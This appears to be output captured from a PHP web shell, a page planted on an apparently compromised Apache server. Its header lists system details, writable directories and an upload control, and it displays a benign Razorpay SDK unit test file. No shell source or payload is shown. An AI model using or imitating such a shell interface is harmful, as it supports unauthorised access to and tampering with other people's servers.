KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/poskrypt/admin.poskrypt.com/vendor/razorpay/razorpay/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/poskrypt/admin.poskrypt.com/vendor/razorpay/razorpay/tests/ApiTest.php
<?php

namespace Razorpay\Tests;

use Razorpay\Api\Request;

class ApiTest extends TestCase
{
    
    private $title = "codecov_test";

    private $url = 'https://api.razorpay.com';

    public function setUp(): void
    {
        parent::setUp();
    }
    
    /**
     * Get app details
     */
    public function testGetAppDetails()
    {
        $this->api->setAppDetails($this->title);

        $data = $this->api->getAppsDetails();

        $this->assertTrue(is_array($data));

        $this->assertTrue($this->title==$data[0]['title']);
    }

    /**
     * Get app details
     */
    public function testSetBaseUrl()
    {
        $this->api->setBaseUrl($this->url);

        $data = $this->api->getBaseUrl();
 
        $this->assertTrue($this->url==$data);

    }

    public function testGetkey()
    {
        $data = $this->api->getKey();

        $this->assertTrue(strlen($data) > 0);
    }

    public function testGetSecret()
    {
        $data = $this->api->getSecret();
        $this->assertTrue(strlen($data) > 0);
    }

    public function testFullUrl()
    {
        $pattern = '/^(https?:\/\/)?([a-z0-9-]+\.)+[a-z]{2,}(\/.*)?$/i';
        $url = $this->api->getFullUrl($this->api->getBaseUrl()."orders","v1");
        $this->assertTrue(preg_match($pattern, $url, $matches)==true);      
    }

    /**
     * @covers \Request
     */
    public function testgetheader()
    {
        $data = Request::getHeaders();
        $this->assertTrue(is_array($data));
    }
}

Anon7 - 2021